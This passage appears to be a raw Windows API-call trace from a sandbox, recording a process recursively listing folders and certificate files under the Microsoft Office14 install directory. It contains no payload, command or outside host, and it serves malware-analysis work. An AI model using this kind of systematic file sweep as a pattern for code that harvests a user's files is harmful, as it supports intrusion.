	[0052.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.251] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.328] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.348] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.350] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" (normalized: "c:\\program files\\microsoft office\\office14\\addins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.356] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.369] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" (normalized: "c:\\program files\\microsoft office\\office14\\borders"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.374] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.381] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" (normalized: "c:\\program files\\microsoft office\\office14\\convert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.397] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.401] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" (normalized: "c:\\program files\\microsoft office\\office14\\document parts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" (normalized: "c:\\program files\\microsoft office\\office14\\forms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove" (normalized: "c:\\program files\\microsoft office\\office14\\groove"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.473] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.482] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.485] SetEvent (hEvent=0x8c) returned 1
	[0052.485] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Code_Signing_2001-4_CA.cer", cAlternateFileName="VERISI~1.CER")) returned 1
	[0052.490] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x32f50000
	[0052.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Public_Primary_CA.cer", cAlternateFileName="VERISI~2.CER")) returned 1
	[0052.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VS_ComponentSigningIntermediate.cer", cAlternateFileName="VS_COM~1.CER")) returned 1
	[0052.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.491] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
